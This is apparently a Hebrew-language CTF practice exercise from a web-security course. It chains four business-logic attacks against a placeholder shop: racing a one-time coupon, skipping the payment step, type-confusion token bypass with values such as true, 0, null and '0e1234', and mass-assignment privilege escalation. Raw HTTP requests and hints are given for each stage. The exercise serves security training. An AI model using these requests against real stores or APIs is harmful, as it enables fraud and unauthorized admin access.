אתגר CTF - לוגיקה עסקית - תרגול¶
סקירה כללית¶
אתגר CTF רב-שלבי שמשלב את כל הטכניקות שנלמדו בפרק זה: תנאי מרוץ, פגמי לוגיקה עסקית, בלבול טיפוסים, והשמה המונית. כל שלב מספק רמז לשלב הבא. הדגל הסופי נמצא בפאנל הניהול.
יעד: http://TARGET_URL
פרטי התחברות: user:password123
מטרה: מצאו את הדגל (flag) בפאנל הניהול
שלב 1 - תנאי מרוץ: הנחה מרובה¶
תיאור:
בחנות יש קוד הנחה DISCOUNT20 שנותן 20% הנחה. הקוד אמור לעבוד פעם אחת בלבד, אבל מנגנון ההגנה פגיע לתנאי מרוץ.
מטרה: החילו את קוד ההנחה מספר פעמים כדי לצבור קרדיט בחשבון.
גישה:
- התחברו וגשו לחנות
- הוסיפו מוצר לעגלה
- לכדו את בקשת החלת הקופון:
POST /api/cart/apply-coupon HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION
{"code": "DISCOUNT20"}
- שלחו את הבקשה ל-Burp Repeater
- שכפלו את הטאב 20-30 פעמים
- צרו קבוצה ושלחו ב-"Send group in parallel (single-packet attack)"
- בדקו את העגלה - כמה פעמים הוחלה ההנחה?
בדיקת הצלחה: אחרי רכישה, היתרה שלכם צריכה להיות מעל 500 קרדיט (ההנחות גורמות לסכום שלילי שמתווסף כזיכוי).
רמז לשלב הבא: בדקו את תגובת השרת אחרי הרכישה. יש הודעה שמכילה את הנתיב לשלב הבא.
שלב 2 - עקיפת תהליך מרובה שלבים: דילוג על תשלום¶
תיאור:
בחנות יש מוצר מיוחד "Premium Access" במחיר 9999 קרדיט. תהליך הרכישה כולל 4 שלבים, אבל שלב התשלום ניתן לדילוג.
מטרה: רכשו את "Premium Access" ללא תשלום בפועל.
גישה:
- הוסיפו את "Premium Access" לעגלה
- התחילו את תהליך הרכישה ולכדו את כל הבקשות:
שלב 1: POST /api/checkout/start -> {"cartId": "..."}
שלב 2: POST /api/checkout/shipping -> {"address": "..."}
שלב 3: POST /api/checkout/payment -> {"method": "credit", "amount": 9999}
שלב 4: POST /api/checkout/confirm -> {"orderId": "..."}
- בצעו את שלבים 1 ו-2 כרגיל
- דלגו על שלב 3 ושלחו ישירות את שלב 4:
POST /api/checkout/confirm HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION
{"orderId": "ORDER_ID_FROM_STEP_1"}
- בדקו אם ההזמנה אושרה
בדיקת הצלחה: תקבלו הודעה "Premium Access activated" והחשבון שלכם ישודרג.
רמז לשלב הבא: עם Premium Access, גשו ל-/api/premium/settings ומצאו את נקודת הכניסה לשלב הבא.
שלב 3 - בלבול טיפוסים: עקיפת אימות¶
תיאור:
באזור Premium יש API שדורש טוקן אימות. הטוקן נבדק בהשוואה רופפת (PHP או לוגיקה דומה).
מטרה: עקפו את בדיקת הטוקן וגשו לאזור המוגבל.
גישה:
- נסו לגשת לנקודת הקצה המוגנת:
GET /api/premium/admin-tools HTTP/1.1
Cookie: session=YOUR_SESSION
HTTP/1.1 401 Unauthorized
{"error": "Valid admin token required", "header": "X-Admin-Token"}
- נסו ערכים שונים עבור ה-header:
-- ניסיון 1: מחרוזת
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: admin
-- ניסיון 2: ערך בוליאני (דרך JSON body או custom header)
-- השרת עשוי לפרש את הערך כ-boolean
-- ניסיון 3: ערך מספרי
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: 0
-- ניסיון 4: magic hash
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: 0e1234
- אם הבדיקה היא בצד שרת ב-PHP:
-- שליחה כ-JSON עם true
POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json
{"action": "list", "token": true}
- נסו גם null ומערך:
POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json
{"action": "list", "token": null}
POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json
{"action": "list", "token": []}
בדיקת הצלחה: תקבלו גישה ל-admin-tools עם רשימת פעולות זמינות.
רמז לשלב הבא: אחד הכלים ב-admin-tools הוא user-management. בדקו את המבנה שלו.
שלב 4 - השמה המונית: הסלמת הרשאות¶
תיאור:
באמצעות הגישה ל-admin-tools, גיליתם נקודת קצה לניהול משתמשים. המטרה: להפוך את החשבון שלכם לאדמין ולגשת לפאנל הניהול.
גישה:
- בדקו את נקודת הקצה לניהול משתמשים:
GET /api/admin/users/me HTTP/1.1
Cookie: session=YOUR_SESSION
HTTP/1.1 200 OK
{
"id": 42,
"username": "user",
"email": "user@example.com",
"role": "premium",
"isAdmin": false,
"permissions": ["read", "premium"],
"flag_access": false
}
- נסו לעדכן את הפרופיל שלכם דרך נקודת קצה זו:
PUT /api/admin/users/me HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION
{
"username": "user",
"role": "admin",
"isAdmin": true
}
- אם לא עובד ישירות, נסו גרסאות שונות:
-- ניסיון עם PATCH
PATCH /api/admin/users/me HTTP/1.1
Content-Type: application/json
{"role": "admin"}
-- ניסיון עם שדות שונים
{"is_admin": true}
{"permissions": ["read", "write", "admin"]}
{"flag_access": true}
{"accountType": "admin"}
- בדקו שוב את פרטי המשתמש - האם ה-role השתנה?
- גשו לפאנל הניהול:
בדיקת הצלחה: תמצאו את הדגל בפאנל הניהול.
רמזים כלליים¶
אם נתקעתם בשלב 1:
- ודאו שאתם משתמשים ב-single-packet attack ולא בשליחה רגילה
- נסו להגדיל את מספר הבקשות המקבילות
- בדקו את כל התגובות - חלקן יצליחו וחלקן יכשלו
אם נתקעתם בשלב 2:
- מפו את כל נקודות הקצה לפני שמנסים לדלג
- ודאו שיש לכם את ה-orderId מהשלב הראשון
- נסו גם לשנות את ה-amount ל-0 בשלב התשלום
אם נתקעתם בשלב 3:
- בדקו את הודעת השגיאה בקפידה - היא עשויה לרמז על סוג הבדיקה
- נסו כל אחד מהטיפוסים: true, false, 0, null, [], ""
- אם זה PHP, הפתרון כנראה true או 0
אם נתקעתם בשלב 4:
- הפרמטרים הנכונים מופיעים בתגובת ה-GET
- נסו כל שדה בנפרד כדי לראות מה ניתן לשינוי
- אולי צריך לשנות יותר משדה אחד
מעבדות PortSwigger רלוונטיות¶
לתרגול נוסף, השלימו את המעבדות הבאות:
תנאי מרוץ:
- Limit overrun race conditions
- Bypassing rate limits via race conditions
- Multi-endpoint race conditions
- Partial construction race conditions
- Exploiting time-sensitive vulnerabilities
לוגיקה עסקית:
- Excessive trust in client-side controls
- High-level logic vulnerability
- Low-level logic flaw
- Inconsistent handling of exceptional input
- Inconsistent security controls
- Authentication bypass via flawed state machine
- Flawed enforcement of business rules
- Infinite money logic flaw
- Insufficient workflow validation
- Authentication bypass via encryption oracle
אתגרי CTF נוספים¶
למי שסיים את כל המעבדות, הנה אתגרים נוספים לתרגול:
- HackTheBox - Web challenges - חפשו אתגרים עם תגיות "business logic" ו-"race condition"
- PicoCTF - אתגרי web שמשלבים לוגיקה עסקית
- OWASP Juice Shop - אתגרים ברמות שונות שכוללים מניפולציית מחירים, דילוג על שלבים, ועוד
- Root Me - אתגרים בקטגוריית "Web - Server" הכוללים תנאי מרוץ ולוגיקה
- CryptoHack - אתגרים שמשלבים בלבול טיפוסים עם קריפטוגרפיה